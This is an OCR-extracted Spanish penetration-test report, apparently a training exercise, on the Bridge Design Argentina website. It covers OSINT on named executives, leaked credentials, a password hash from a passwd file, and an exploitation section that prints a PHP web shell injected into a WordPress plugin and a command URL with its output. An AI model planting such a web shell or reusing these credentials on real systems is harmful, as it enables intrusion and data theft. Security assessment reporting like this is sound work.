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FERNTEST CONSULTORA

Somos Ferntest Consultora, especializada en consultoria, auditoria y pentesting.
La empresa fue iniciada en 2008 con la intencion de poder brindar un servicio
tanto de consultoria como pruebas de seguridad a las empresas, asi como
hardening de sistemas, infraestructura y auditoria. También hacemos programas
de capacitacion sobre concientizacion en seguridad para el uso y proteccion
de informacién en recursos empresariales.

erente de proyecto -

Lider de Proyecto -

omercial -

nalista tecnico -

Matias Querejeta - Analista fecnico -

https://www.linkedin.com/in/mguerejeta/

Analista tecnico -

Website: www.ferntest.com.ar

e-mail:ferntest.pentesters@gmail.com
Teléfono: 0800-333-7030
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https://www.linkedin.com/in/mquerejeta/

OBJETIVOS

El servicio consiste en la realizacion de andlisis y pruebas sobre la infraestructura
tecnoldgica del cliente, permitiendo evaluar el nivel de seguridad de sus sistemas de
informacion y dispositivos que conforman la infraestructura de red.

El objetivo del servicio es identificar amenazas y vulnerabilidades en la configuracion de
los sistemas, el nivel de efectividad de los controles de seguridad y los mecanismos de
respuestas existentes, y adicionalmente el grado de exposicion de la informaciéon mds
relacionada al servicio de pruebas de penetracion.

ALCANCE Y LIMITES

Para brindar este servicio, se readlizardn pruebas exhaustivas sobre el sitio
https://bridgedesign.space intentando detectar vulnerabilidades en los sistemas (servicios web,
servicios de fransferencia y comunicaciones, etc.), a fin de explotar las que puedan
comprometer la confidencialidad, integridad y disponibilidad de los servicios o sistemas de
informacion de la compania.

Se analizard el comportamiento de la infraestructura de red vy los servicios web ante
intentos de ataque de varios tipos.

Dentro de estas pruebas se utilizan tanto procesos automdticos como procedimientos
manuales, con el fin de obtener un andlisis mds certero. El servicio de Prueba de Penetracion se
presenta en dos posibles modalidades:

Test de penetracion Black Box: las pruebas se realizan simulando ser un navegante
anénimo ubicado en Internet, sin ningun conocimiento de la arquitectura de red de
la compania ni credenciales vdlidas de acceso a cualquiera de los sistemas y
servicios expuestos.
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ENTREGABLES

Una vez finalizadas las pruebas se confeccionard un informe ejecutivo, con el
detalle del ftfrabajo realizado, sus resultados, conclusiones y recomendaciones
asociadas, en el que se podrd verificar de forma clara y concisa el estado de
seguridad y exposicion de los sistemas analizados.

Adicionalmente, se confeccionard un informe técnico detallado, el cual
contard con la siguiente informacion:

Descripcién del trabajo realizado

Detalle y clasificacion de las vulnerabilidades detectadas
Nivel de intrusion logrado

Evidencias obtenidas

Recomendaciones de mejora

Impacto en la seguridad de la compania
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ACUERDO DE CONFIDENCIALIDAD

2022 - Ferntest Consultora

S

PR
FERNTEST

CONSULTORA

ACUERDO DE CONFIDENCIALIDAD

En virtud de los servicios prestados para FERNTEST CONSULTORA, en calidad de
EMPLEADO, declara conocer gue los datos e informacién a ser conocidos y abordados en el
marco del informe sobre pruebas de seguridad solicitados por parte de la empresa BRIDGE
DESIGN ARGENTINA, se encuenfran amparados bajo normas de confidencialidad.

Mediante la suscripcién del presente instrumento, las partes se comprometen a guardar
la mdéxima reserva y secreto sobre los datos e informacién a que acceda en virtud de las
funciones encomendadas, a utilizar dicha informaciéon solamente para el fin especifico al que
se la ha destinado, a no comunicar o hacer puUblica la informacién no clasificada como
“publica”, y a observar y adoptar cuantas medidas de seguridad sean necesarias para
asegurar la confidencialidad, secreto e integridad de los datos e informacién, salvo
autorizacion legal o instrucciéon expresa de la autoridad competente.

Esta obligacion de reserva y confidencialidad seguird en vigencia ain después del
vencimiento del plazo, de la rescision o resolucién del contrato o cese o interrupcién de la
relacion laboral, asumiendo la responsabilidad penal,administrativa o civil de los danos vy
perjuicios que por dolo o negligencia pudiera ocasionar la difusion de datos o informacién no
publicados.

En BS. AS., a los 24 dias del mes de MAYO de 2022.-
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PropPUESTA COMERCIAL

De acuerdo a lo anteriormente detallado se propone disponer de 100 horas de servicio de

ingenieria distribuidos entre relevamiento, andlisis, proyecto y ejecucion.

Nombre Puesto Seniority Valor/hora | Horas Acordadas
_ Gerente de proyecto | Senior Us3s 170.- 10
|_ Lider de Proyecto Senior U$S 170.- 14
|_ Comercial Semi Senior [ U$S 100.- 10
I Andlista tecnico Junior U$S 80.- 22

Matias Querejeta Analista tfecnico Junior U$S 80.- 22
_ Andlista tecnico Junior U$S 80.- 22

El valor total de la propuesta es de U$S 10530 + IVA, pagaderos al tipo de cambio valor

vendedor del Banco Nacién del dia del pagoe. 50% al solicitar el servicio y a la entrega del

informe final. Esta propuesta es vdlida por los préximos 15 dias.
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INFORME EJECUTIVO

DEFINICIONES Y METODOLOGIA:

Al hablar de seguridad de la informaciéon, hablamos de la confidencialidad, integridad vy
disponibilidad de la informacién que pudiera accidentalmente o deliberadamente ser alterada,
eliminada o sustraida por posibles atacantes.

Por lo que para fines de comprension de lo que se detalla, acercamos algunos conceptos con
el objetivo que el lector entienda los términos que se manejan ante lo descrito sobre la
seguridad de la informacién:

Vulnerabilidad: Refiere a todo aquello que implique una debilidad que pueda ser aprovechada
por un atacante.

Amenaza: Se define como tal a una causa potencial de un incidente que puede generar
danos a laimagen o continuidad del negocio de la compania.

Riesgo: son todas las cosas que hacen aumentar la probabilidad de dafar los puntos mads
vulnerables de un sistema o de una compania

Impacto: Refiere al alcance de dano potencial a la empresa mediante la afectacién de la
informacion, sistemas, imagen o dispositivos.

Desarrollados estos conceptos, planteamos la comprension del riesgo sobre la informacion que
se pudiera recabar, eligiendo el método cuantitativo valorizando niveles de criticidad de las
vulnerabilidades que se encontrasen asi como la cantidad que existieran.

Niveles de Riesgo e Impacto sobre vulnerabilidades segun criticidad.

Nivel de Riesgo Descripcion - Impacto

Critico La vulnerabilidad implica un nivel de amenaza muy elevado para la empresa. Debe
ser notificado a la brevedad para su correccién, de lo contrario se convertiria en
una explotacion con las consecuencias que esta conlleva.

La vulnerabilidad posee una criticidad urgente para ser solucionada, por lo que
debe ser priorizada.
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La vulnerabilidad implicaria una disfuncionalidad moderada para la empresa, por
lo que deberia ser tenida en cuenta para ser solucionada.

La vulnerabilidad no presentaria una amenaza drastica para la empresa. Puede ser
notificada y solucionada.

RESUMEN

En el presente informe, la empresa Bridge Design Argentina nos ha solicitado el servicio de
Pentesting, donde a continuaciéon se detallan los métodos, recursos utilizados y datos
recabados.

El objetivo de este pentesting es detectar cualquier fipo de vulnerabilidad que pudiera
comprometer o afectar la confidencialidad, integridad y disponibilidad de la informacién que
posee la empresa.

Las pruebas que se llevaron a cabo fueron sobre el sitio web suministrado por la compania asi
como la exposicion de informacion que tuvieran en Internet de los directivos que la componen.

Para obtener la informacion, las pruebas de seguridad se han organizado en 5 etapas
detalladas en el grdfico.

Inicio Recopilacion de Informacion Analisis de vulnerabilidades

Definicion de scope de = Dominios de Red + Técnicas de escaneos
analisis en conjunto con * OSINT (Fuentes Abiertas) « Control de encabezados

el cliente = Técnicas de footprinting * OWASP

i6 Explotacion
Post Explotacidn . » p

+ Explotacion de vulnerabilidades
+ Escalamiento de privilegios
+ Técnicas de persistencia

N Elaboracion de Informes
+ Informe Técnico

Informe Ejecutivo

e Recopilacién de Informacion - OSINT:

A partir del sitio publico de la empresa, se inicid la busqueda de exposicidon de
informacion en las redes y perfiles del plantel ejecutivo, para ello presentamos al grupo
directivo de la empresa:
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BRIDGE DESIGMN ARGENTIMA

Ezequiel Xavi Estebez - CEQ

Patricia Mancy Gatty - CFO

Hugo Tomas Misso Laurenz - CTO

Tomas Xavier Teodorett = C150

Dentro de los perfiles de Facebook y LinkedIn no se encontrd informacion critica
expuesta, sin embargo se ha recabado una vulnerabilidad critica en particular, que
estaria relacionada con un sitio pUblico utilizado como herramienta para la empresa,
por parte de un empleado de alto rango de la empresa.

A los efectos de resolver, se procedid a notfificar via de formulario de contacto ala
compania, para que pudieran derivar el caso al sector correspondiente. En el apartado
de Anexo, se adjunta constancia del aviso enviado.

Destacamos este caso en particular, dado que terminaria afectando a la reputacion de
la empresa asi como el hecho de representar un riesgo de elevada criticidad sobre la
informacion confidencial que maneja, al haber expuesto informacidn critica en un sitio
publico.
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Otra informacién recabada, son ubicaciones geogrdficas por medio de IP's de la
empresa lo que podria implicar una exposicién para la compania quienes en el sitio no
ponen su ubicacion pudiendo quedar a expensas de posibles ataques o robos donde se
encuentran, y por consiguiente peligrar la economia e integridad fisica del personal.

e Escaneo y Enumeracion:

En esta etapa se encontraron puertos abiertos relacionados a servicios, como asi
también directorios con informacion sensible publicados en internet. Esta informacién
posibilita el ingreso a la infraestructura de la organizacién utilizando credenciales
encontradas en la etapa de recopilacién de la informacion.

e Andlisis de vulnerabilidades:

Durante las pruebas de seguridad, se encontrd un archivo en el sitio publico dentro de la
seccion Storage. Este archivo contenia una contrasena la cual podria permitir el ingreso
por medio del servicio de Secure Shell, habilitando el acceso remoto a posibles
atacantes.

También se hallaron archivos con informacion sensible referida a la empresa como la
configuraciéon de los servidores del sitio, la falta de actualizacién del Sistema Operativo
que refuerza la posibilidad de que los posibles atacantes puedan ingresar y alterar,

sustraer o eliminar informacién importante para la empresa.
e Explotacion:

Dentro de la evidencia recabada y detallada en el Informe Técnico, mencionamos el
atagque a Wordpress como posible entrada para escalada de privilegios y obtencidon de
control del servidor de la empresa, lo que afectaria a nivel confidencial, disponibilidad e
integridad de la informacién que hubiere alojada alli. Con ello generaria un impacto
tanto a nivel econdmico como reputacional a la compania.

e Post Explotacion:

Luego de las pruebas de explotacion, se obtuvo ingreso al servidor, y debido a que el
ingreso fue por una contrasena, no requirié otra medida para aplicar para permanecer
en el servidor. Ante esta prueba, se consideraria una enfrada peligrosa para la
sustraccién de informacion de los usuarios asi como informacion de la cartera de
clientes que estén registrados en el sitio y por tanto, datos que almacena el servidor.

Este tipo de vulnerabilidades pueden dar lugar a fuga de informacién, encriptacién de
la informacién a cambio de pedido de rescate, como las técnicas de Ransomware, muy
utilizadas en la actualidad, perjudicando la credibilidad y reputacion de la compania.

A confinuacién, se adjunta la grilla de vulnerabilidades encontradas:
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Vulnerabilidades

@ Critica

® Alta
Media

® Bagja

12 (40.0%)

De las cuales las mds relevantes son las expuestas a continuacion:

Cantidad Tipo Nivel
1 Informacién Sensible expuesta a Internet Critico
1 Servicio SSH expuesto a Internet Alto
1 Ataque a Wordpress PHP Injection Alto
1 Pkexec (Escalado de privilegios) Alto
1 Versién de Apache desactualizada Medio
1 Falta de Certificado SSL Medio

Finalmente, a partir de toda la informacién obtenida, proponemos recomendaciones generales
para posibles mejoras, documentaciéon de incidentes si hubiere, y planes de accién ante
posibles futuras amenazas:

e Proponer modificar las actuales politicas de seguridad a fin de reforzar y mejorar la
proteccién de la informacion.

e Documentar los puntos vulnerables que se recabaron para poder pensar planes de
accioén, actualizar la gestidn de incidentes para disponer de mayores controles all
momento de eventos adversos.

e Generar capacitaciones para el personal y concientizar sobre los riesgos e impactos que
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pueden producirse por el mal uso y exposicion de informacién confidencial en sitios
publicos.

Mejorar la infraestructura con firewalls para mejorar y reforzar la seguridad.

Mejorar los mecanismo de encriptacion de la informacién sensible que pudiera
perjudicar a la compania.

Crear contrasenas mds robustas y cambiarlas con cierta periodicidad.
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INFORME TECNICO

ENTORNO DE PRUEBAS

Las pruebas se han realizado en un entorno de Caja Negra, entendiendo que lo hallado se
recaba Unicamente de la informacién provista desde la web pUblica http://bridgedesing.space

y mediante técnicas de inteligencia de fuentes abiertas (OSINT).

El objetivo de estas pruebas de seguridad es recabar algun tipo de vulnerabilidad que pudiera
comprometer o afectar la confidencialidad, integridad y disponibilidad de los activos de
informacioén que se manejan.

OsINT
HERRAMIENTAS UTILIZADAS

KALI LINUX - WHOIS - GEOLOCALIZACION DE IP’S EN BUSCADORES

GITLAB - MALTEGO - REDES: FACEBOOK, LINKEDIN, GITLAB

Para la prueba de seguridad se seleccionaron a los directivos Ezequiel Xavi Estebez, CEO de la
empresa, Patricia Nancy Gatty, Hugo Tomas Misso Laurenz, CTO de la empresa y Tomas Xavier
Teodoretti como objetivos.

Las herramientas que se utilizaron Kali Linux como entorno para ejecuciéon de las pruebas, dado
su amplia variedad de herramientas que ofrece, las mismas utilizadas desde el mismo Kali.

Dentro de Kali recurrimos a cuentas falsas como prueba de seguridad, tanto de las redes
Facebook como LinkedIn, para probar la exposicién de informacion de los objetivos en ellas,
también se utilizéd el buscador Google para encontrar informacién relevante por fuera de estas
redes, como en el sitio Gitlab.

Por ofro lado, se utilizaron las herramientas Nikto y Nmap para resultados mds especificos.

También se utilizé Maltego para verificar datos obtenidos, fundamentalmente en el objetivo
Hugo Tomds Misso Laurenz corroborando la existencia de la cuenta de Wordpress.

Se adiciona el encuentro de ubicaciones geogrdficas por medio de buscadores IP's en
buscadores de Internet, la que se pone como adjunto mds abajo.

DESCRIPCION

No se recabaron datos criticos de informacién personal en las redes sobre los objetivos.
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Sin embargo, si hubo un resultado critico que estaria relacionado a Hugo Misso Laurenz, por
medio de Google al encontrar su presunto sitio de hitps://gitlab.com/hugomissol.

En él, hay un apartado donde se encontrd un repositorio publico en Gitlab con el mismo usuario
del objetivo:

https://qitl m/h missol/test2/-/tree/master

En el commit (VER EVIDENCIA A) se encontrd un password, y con las herramientas Nmap y Nikto
se obtuvo un sitio de Wordpress al que se pudo ingresar con la clave encontrada en gitlab
fo**¥*+*¥18 (VER EVIDENCIA B).

Cabe anadir, que se verificd por medio de Maltego, que la informacién recabada
efectivamente concuerda con un espacio en Wordpress que d su vez se comunica con €l sifio.
(VER EVIDENCIA C)

En el apartado D de EVIDENCIA se adjunta captura de la geolocalizacion.

SEVERIDAD

Consideramos que es de nivel CRITICA la vulnerabilidad presentada, dado el hecho de tener
datos sensibles como usuarios y contraseias expuestos en proyectos de sitios publicos como
Gitlab.

EviDENCIA
Showing 1 changed file ~ with 1 addition and 1 deletion Hide whitespace cha
v [F] pruebaz [3 +1 -1
<textarea name="wp_location_address” id="wp_location_address"»<?php echo $up_lo
</textarea>
</div>
pwd = to
pwd = 18
function run_add plugins_link_to_toolbar{pwd) {
$plugin = new Add Plugins Link To_Toolbar();
register or sign in
A)

pg. 18



< (<} O & o bridged

Welcome to WordPress!

Get Started Next Steps

& s Quick oratt
° it
Activiy
aa
U/ o——
l
https://fgitlab. com/hugomissol
Ezequiel Xavi Estebez
l':iti-: Persanal
l www
Huge Temas Misso Laurenz
@ bridgedesign.space
hugomissol@protonmail. com
wWiww
wordpress.org
]
api.w.org fd
”%\ bridgedesign.space
‘." 'W'i'\qu
o W3
protonmail. cam i -

www.w3.org sC

C) google-tag-manager |

D)

Geolocation data from IP2Location (Product: DB6, updated on 2022-6-1)

IP Address Country Region
192.241.141.49 United States of America New Jersey

Organization Latitude

DigitalOcean LLC Not Available 40.8043

City

North Bergen

Longitude

-74.0121
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Todas las capturas fueron tomadas el dia 30/05/2022.

RECOMENDACION

Se sugiere eliminar de cualquier repositorio pUblico toda informacién relacionada a usuarios y
contrasenas tanto en texto plano como en hashes, dado que la misma puede ser rastreada y
vinculada a proyectos relacionados con la empresa.

RiEsGo

Tener informacién como credenciales, publicadas en internet, podria dar lugar a que sujetos no
deseados en la infraestructura o sistemas criticos dentro de la organizacion.

INFRAESTRUCTURA DE SERVIDORES
HERRAMIENTAS UTILIZADAS

NMap, SSH

DESCRIPCION

Se observa que el web server no cuenta con alta disponibilidad ni balanceo de carga, lo que lo
convierte en altamente susceptible a quedar fuera de servicio tras un ataque de denegacién
de servicios (DoS, DDoS), ademas no cuenta con un WAF (Web Application Firewall), por lo que
es muy vulnerable a cualquier ataque sobre las aplicaciones web mencionadas
precedentemente.
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BRIDGE DESIGN ARGENTINA

Enterprise cloud

Ports Web Server

80/TCP  HTTP
ANRNTCP OPFN SSH

Attackers

eth0: 192.241.141.49/24

eth1:10.136.25.103/16

eth1: 10.136.68.232/16
Ports

21UTCP  FTP

22/TCP  SSH

25/TCP  FILTRED SMTP
80ITCP  HTTP
3306/TCP MYSQL

SQL Server

RECOMENDACION

Se recomienda la instalacion de un WAF y segmentar la red incluyendo una DMZ para
proteccién de los recursos WEB expuestos a internet. Ademds de la configuracién de un web
server paralelo a modo de alta disponibilidad tras un balanceador de carga para proteccién
ante ataques que puedan afectar la disponibilidad del sifio.

EscANEO Y ENUMERACION

HERRAMIENTAS UTILIZADAS

Para la etapa de escaneo y enumeracion se utilizaron herramientas como Nikto, Nmap, OWASP
LAP y WFUZZ para el listado de directorios.

DESCRIPCION

En esta prueba de seguridad, se analizan los puertos de red para averiguar cudles estdn
abiertos, siendo estos posibles vectores de ataque asi como de sustraccién, modificacién o
eliminaciéon de informacion.

Después de aplicar este nmap detectamos que tenian 3 puertos abiertos y sus respectivas
versiones. Uno de estos puertos era un servidor Apache en el puerto 80, un SSH en el puerto
8080, y se detectd un sistema memcached (sistema de almacenamiento de cache). Como nos
parecié raro que hubiera un SSH en el puerto 8080 realizamos un grab del banner con NetCat
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para confirmar su existencia y fue afirmativo.

banner 19

Nmap s
Host is up (
Not show

Jbuntu))

Lubuntu2

cpe:/o:linu i _kernel

Sery detection performed. Please report any in
Nmap done: 1 IP address (1 host up) scanned in 466.

192.241.141.49 808
M) [192.241.141.49] 8080 (http-alt) open
OpenSS5H_7.2p2 Ubuntu-4ubuntu2.8

Después se aplicd un Nikto en el cual se detectd que hay un WordPress que utiliza un plugin
Akismet y un phpMyAdmin.

der is not p
d. This header
e/wp-json/ http: pi.
t to render the content of the

he EOL for the 2

ob_mode' found,
ns/README: Ap:
lugins/akismet/readme.t = s " e t rsion usually matches the WordPress version
1

937 requests:
End Time
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ESCANEO DE VULNERABILIDADES

HERRAMIENTAS UTILIZADAS

DESCRIPCION

En esta etapa de seguridad, descubrimos vulnerabilidades para posteriormente poder analizar
si podemos explotarlas.

INFORMACION SENSIBLE EXPUESTA A INTERNET - CRITICA

DESCRIPCION

Durante la etapa de reconocimiento y enumeracién de directorios del sitio bridgedesign.space
pudimos observar que un directorio expuesto a internet llamado “storage” contiene un
documento denominado “Procedimientos tech.doc”, un archivo que contiene un Hash con
password por defecto del usuario tomashsrv el cual podria permitir ingresar a través del servicio
SSH (http://bridgedesign.space:80/storage/Procedimientos%20tech.docx).

También dentfro de “storage" se encuentra el archivo "“Auditoria.zip” que contiene documentos
con detalles técnicos de la configuracién de servidores.

Por Ultimo, durante la etapa de inteligencia hemos encontrado que en el perfil de usuario de
GitLab que corresponderia a un empleado de la empresa bajo el nombre de HUGOMISSOL, se
hallaban expuestas las credenciales de administracién de Wordpress.

SEVERIDAD

Al encontrarse expuesta publicamente informacién sensible, como ser la relacionada a
credenciales de acceso a la infraestructura tecnoldgica de Bridge Design potenciales, los
atacantes a la organizacién podrian acceder a la misma, establecerse y escalar privilegios de
administrador. Lo descrito anteriormente conlleva a un riesgo critico para la confidencialidad
de la informacién de la empresa como asi también para su continuidad de negocio, atentando
contra la disponibilidad de la informacién y de sus servicios.

EviDENCIA

En la siguiente evidencia se puede ver como al escanear el puerto 80 se ve el directorio
storage:
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http-enum

-24 15:49 EDT
Nmap scan re
Host is up (@.14s latency).

STATE SERVICE
open http

Jwordpress/:
/wp-login.php:

Jwp-includes
Jwp-include § j y ersion 2.5 found.

found.
2.7 found.

dme.html:

Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds

Index of storage

(— 'E' _E bridgedesign.space, st

Index of /storage  {p

Name Last modified Size Description

Parent Directory

01806280205 5K | e

Procedimientos tech docx 2018-06-28 00:30 56K ¢

Auditoria zi

%) abwrpdt 2018-06-28 0030 11M
El networks - Copy.pdf 2018-06-28 00:30 5.0M
(5] 793 ds 2018-06-26 0030 153K
[5) te_1544 webpdf 2018-06-28 00:30 562K
@ witlidad-sudo pdf 2018-06-28 00:30 163K

\Apache7 4,13 (Ubuntu/ Server af bridgedesign. space Port 80 ¢

Como se puede apreciar se ve el acceso a los archivos mencionados junto a la informaciéon del
servidor Apache en el puerto 80.

El archivo Auditoria.zip se encontraba protegido con una clave. Previamente a utilizar
herramientas de password cracking, utilizamos técnicas de password guessing de manera de
obtener la clave del archivo con palabras relacionadas a la empresa. Luego de muy pocos
intentos, descubrimos que la contrasena utilizada para este archivo era “bridgedesign”.

Dentro de este archivo comprimido podemos ver archivos txt con detalles técnicos de
configuracion, En uno de ellos, denominado 192.241.151.12etc-passwd.ixt se encontrd
nuevamente el usuario “tomashsrv”. La password de este usuario el archivo mencionado, se
encuentra protegida bajo el mecanismo de hash.
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sultados de la bldsqueda en Descargas » Auditoria

Mombre ~ Fecha de modifica... | Tipo Tamafio

. 192.241.151.12etc-pass [ 018 23:04 Docurmento de tex... 2KB
B apachel.conf
. jail.conf

. passwd

B ports.conf

Mj 192.241.151.12etc-passwd: Bloc de notas

Archive Edicién  Formate  Ver  Ayuda
homaShSPU:71ac35?22448dae?92c2535bd8F3Fb44
root:x:8:8:root: froot: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologin
bin:x:2:2:bin:/bin: /usr/sbin/nologin

. sshd_config

Luego, a través de HashCat pudimos obtener el valor del string
original hasheado, el cual arrojé al igual que la informacién encontrada en el

documento “Procedimiento tech.docx” el valor to**##*****18,

~/xsssniper

Minimum pa
Max imum

En la siguiente figura se ve el contenido de procedimientos.doc en donde se puede ver la
contrasena por defecto con el mismo hash que la encontrada en el txt de auditoria.zip
nombrado anteriormente.
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Los Servidores seran instalados en gabinetes licitados en la partida 4 de la presente
licitacion.

La configuracion de los sistemas operativos, software de virtualizacién configuracién
de servidores, solucion de respaldo (Backup), bases de datos, servidor web, portal
web seran realizadas por el licitante ganador.

La password por defecto para el usuario tomashsrv en todos los servers serd
T1a fbdd .

Los Cables de Red, fibras dpticas, cables de corriente y demds accesorios necesarios
para la correcta instalacién de los equipos asi como los drivers, software y de mas
accesorios necesarios seran proveidos por el licitante ganador de la presente
licitacién y se aclara que todos los suministros y accesorios deberdn ser originales del
fabricante.

Conrespecto a las credenciales de Wordpress encontradas en el proyecto de GitLab que
referiria a un empleado de la empresa, se muestra en la seccién de OSINT del informe técnico
las pruebas demostradas.

RECOMENDACION

Como recomendacién para evitar estas vulnerabilidades proponemos lo siguiente:

e Generar espacios de concientizacién y capacitacién del personal de Bridge Design Argentina
acerca de los riesgos de exponer informacion sensible de la organizacion en internet.

e La utilizacién de contrasenas robustas y la utilizacion de medidas adicionales de proteccién y
de monitoreo a aquellos usuarios con perfiles de administracion.

e La utilizacidén de métodos de hasheo robustos, y no aqguellos considerados débiles como MD5.

Servicio SSH expuesto A INTERNET — ALTA

DESCRIPCION

De acuerdo al resultado del escaneo de puerto realizado con la herramienta Nmap se detectd
qgue el servicio SSH se encuentra expuesto a internet en el puerto 8080.

EviDENCIA

Al realizar un escaneo de puertos con la herramienta Nmap obtenemos la evidencia del
hallazgo descrito.

| _bannmer: S5H-2.8-OpenSSH_7.2p2 Ubuntu-4ubumtu2.8
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SEVERIDAD

Consideramos como una vulnerabilidad critica debido a que el servicio ssh permite acceso a la
interfaz de comandos de un servidor de forma remota como si se tratase de forma presencial lo
que implica que un atacante logre ganar acceso al servidor de forma inadvertida.

RECOMENDACION

No es recomendable que dicho servicio esté expuesto a Internet sin los debidos controles de
seguridad que eviten el acceso remoto desde cualquier locacién externa a la empresa. En
caso de que indefectiblemente sea necesario su uso desde Internet, debe configurarse de
forma segura restringiendo las posibles conexiones sdlo a algunos equipos que puedan ser
identificados como confiables mediante el infercambio de claves RSA.

VERSION DE APACHE DESACTUALIZADA - MEDIA

DESCRIPCION

Se detectd la utilizacion de la versidn de Apache Server 2.4.18 la cual se encuentra
desactualizada, fuera de soporte y con vulnerabilidades conocidas las cuales pueden ser
aprovechadas por un potencial atacante.

El detalle de las vulnerabilidades que pueden ser explotadas, su score y complejidad de
explotaciéon se pueden encontrar en el siguiente sitio web:

hitps://www.cvedetails.com/vulnerability-list/vendor id-45/product id-66/version id-553326/Apa
che-Hitp-Server-2.4.18.himl

SEVERIDAD

Considerando que la mayoria de las posibles vulnerabilidades que se pueden explotar al tener
la versidon desactualizada no pasan de los 5 puntos, decidimos catalogar a esta vulnerabilidad
con un nivel Medio de crificidad.

EviDENcIA

| _http-server-header: Apache/2.4.18 (Ubuntu)

Como se muestra en la seccién de ESCANEO Y ENUMERACION, en el Nmap nos mostré que la
version estaba desactualizada.

RECOMENDACION

Actualizar la version de Apache a su Ultima versidon estable 2.4.54, y establecer un proceso de
deteccién temprana de software desactualizado.
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https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-553326/Apache-Http-Server-2.4.18.html
https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-553326/Apache-Http-Server-2.4.18.html

Rerorte ZAP

En la parte de Anexo se adjuntan capturas de un reporte ZAP. El mismo enumera y explica las
vulnerabilidades que encontrd cuyo recuento fue:

Risk Level Mumber of Alerts

High 10

=]
Low a
Informational 4

ExpLOTACION - ATAQUE A WORDPRESS

DESCRIPCION

Utilizando credenciales que se encontraron en la etapa de OSINT, se logré acceder al panel de
administracién de Wordpress del sitio web.

Esto permitid no sélo poder leer toda la informacidn del sitio, sino también acceder a la base
de datos del mismo.

A su vez, mediante inyeccién de cddigo malicioso en el panel de administracién, se logrd
obtener persistencia en el servidor lo cual llevd a que luego se puedan escalar privilegios hasta
obtener control total del servidor.

SEVERIDAD

Segun la calculadora provista por NIST, se obtuvo un puntaje total de 4.1, lo cual deja esto
como una vulnerabilidad medio-baja.

Esto se debe a que se debe estar autenticado para realizar el ataque y ademds este no afecta
al funcionamiento de la empresa.

Sin embargo, al estar autenticado es muy sencillo escalar privilegios en el servidor o leer
informacion privada.

Vector CVSS 3.1
AV L/ACH/PR:H/UEN/S:U/C:H/H/AH/EP/RLX/RC.R/CRL/IR:L/ARL/MAV:L/MAC:H/MPR:H/MUI:N/
MS:U/MC:H/MI:H/MA:H
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https://nvd.nist.gov/
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:X/RC:R/CR:L/IR:L/AR:L/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H&version=3.1
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:X/RC:R/CR:L/IR:L/AR:L/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H&version=3.1

Base Scores Temporal Environmental Overall CVSS Base Score: 6.4
100 100 100 100 Impact Subscore: 5.9
8.0 8.0 8.0 8.0 Exploitability Subscore: 0.5
6.0 - 6.0 6.0 6.0 CVSS Temporal Score: 5.8
. 5.9 5.8 .
40 1 4.0 - 4.0 4.0 CVSS Environmental Score: 4.1
4.1 4.0 41 e
20 20 20 20 Modified Impact Subscore: 4.0
0.0 0.0 0.0 0.0 Overall CVSS Score: 4.1
Base Impact  Exploitability Temporal Environmental Modified Impact Overall
EviDENCIA

Para realizar el ataque se necesita estar autenticado en el panel de administracion. Para ello se

utilizaron las credenciales encontradas anteriormente en la etapa de OSINT:
Usuario: admin

Clave: to***¥**18

Una vez autenticado en wordpress, se encontrd el plugin Akismet el cual tiene un editor de texto

gue permite modificar el archivo .php con la configuracién del propio plugin.

esign Argentina [ + New

@ Dashboard Edit Plugins

A Posis

07 Media

This theme recommends the following plugins: Coming Soon, Progress Bar and Team.

M Pages

File edited successfully.
P comments

2 Appearance Editing akismet/akismet.php (inactive)

& Plugins
// Make sure we don't expose any info if called directly
if ( !function exists( 'add_action' ) ) {

exit;
Editor ¥

define( 'AKISMET VERSION', '3.1.10" );

define( 'AKISMET__MINIMUM WP_VERSION', '3.2' };

F Tools define( 'AKISMET _PLUGIN DIR', plugin_dir path{ _ FILE_ ) );
) define( 'AKISMET DELETE LIMIT', 160808 );

& Users

Settings

register activation_hook( FILE , array( 'Akismet', 'plugin_activation' )} };
(4] ne register_deactivation_hook( FILE , array( 'Akismet', 'plugin_deactivation' ) );

require_once( AKISMET _PLUGIN DIR . 'class.akismet.php' };
require_once( AKISMET _PLUGIN DIR . 'class.akismet-widget.php' );

add_action( 'init', array( 'Akismet', 'init' )} );
if ( is_admin() ) {

require_once( AKISMET _PLUGIN DIR . 'class.akismet-admin.php' };
add_action( 'init', array( 'Akismet_Admin', 'init' ) );

Documentation: Fynction Name... w | Look Up

Update File

echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
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Al observar la configuraciéon del plugin, se puede notar que en caso de llamar al archivo
akismet.php se devuelve un texto plano de respuesta:

// Make sure we don't expose any info if called directly

if ( !function exists( 'add action' ) ) {
echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
exit;

Sabiendo que el Wordpress almacena los plugins en el directorio /wp-content/plugins/ se
puede comprobar visitando la siguiente URL:

http://bridgedesign.space/wp-content/plugins/akismet/akismet.php

ecure | bridgedesign.space

Hi there! I'm just a plugin, not much I can do when called directly.

Habiendo comprobado esto, se hizo la prueba de inyectar cddigo PHP en la funcidn que
devuelve el texto visto en el paso anterior:

// Make sure we don't expose any info if called directly
if ( '"function exists( 'add action' ) ) {

$cmd = $ GET["cmd"1;
echo "<pre>";

echo shell exec($cmd);
exit;

echo 'Hi there! I\'m just a plugin, not much I can do when called directly.";
exit;

Este fragmento de cddigo simplemente lo que hace es tomar pardmetros GET por URL y
ejecutarlos en el servidor.

Para probarlo podemos por ejemplo, listar los archivos que se encuentran en el directorio
/var/www/html
http://bridgedesign.space/wp-content/plugins/akismet/akismet.php2cmd=Is%20-1a%20/var/ww

w/
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total 7800

drwxr-xr-x 8 www-data www-data 4096 May 23 23:15 .

drwxr-xr-x 3 root root 4096 Jun 24 2018 ..

-rw-r--r-- 1 www-data www-data 11321 Jun 24 2018 index.html.BK
-rw-r--r-- 1 www-data www-data 418 Sep 25 2013 index.php

-rw-r--r-- 1 www-data www-data 19935 Jun 26 2018 license.txt
-rw-r--r-- 1 www-data www-data 7338 Jun 26 2018 readme.html
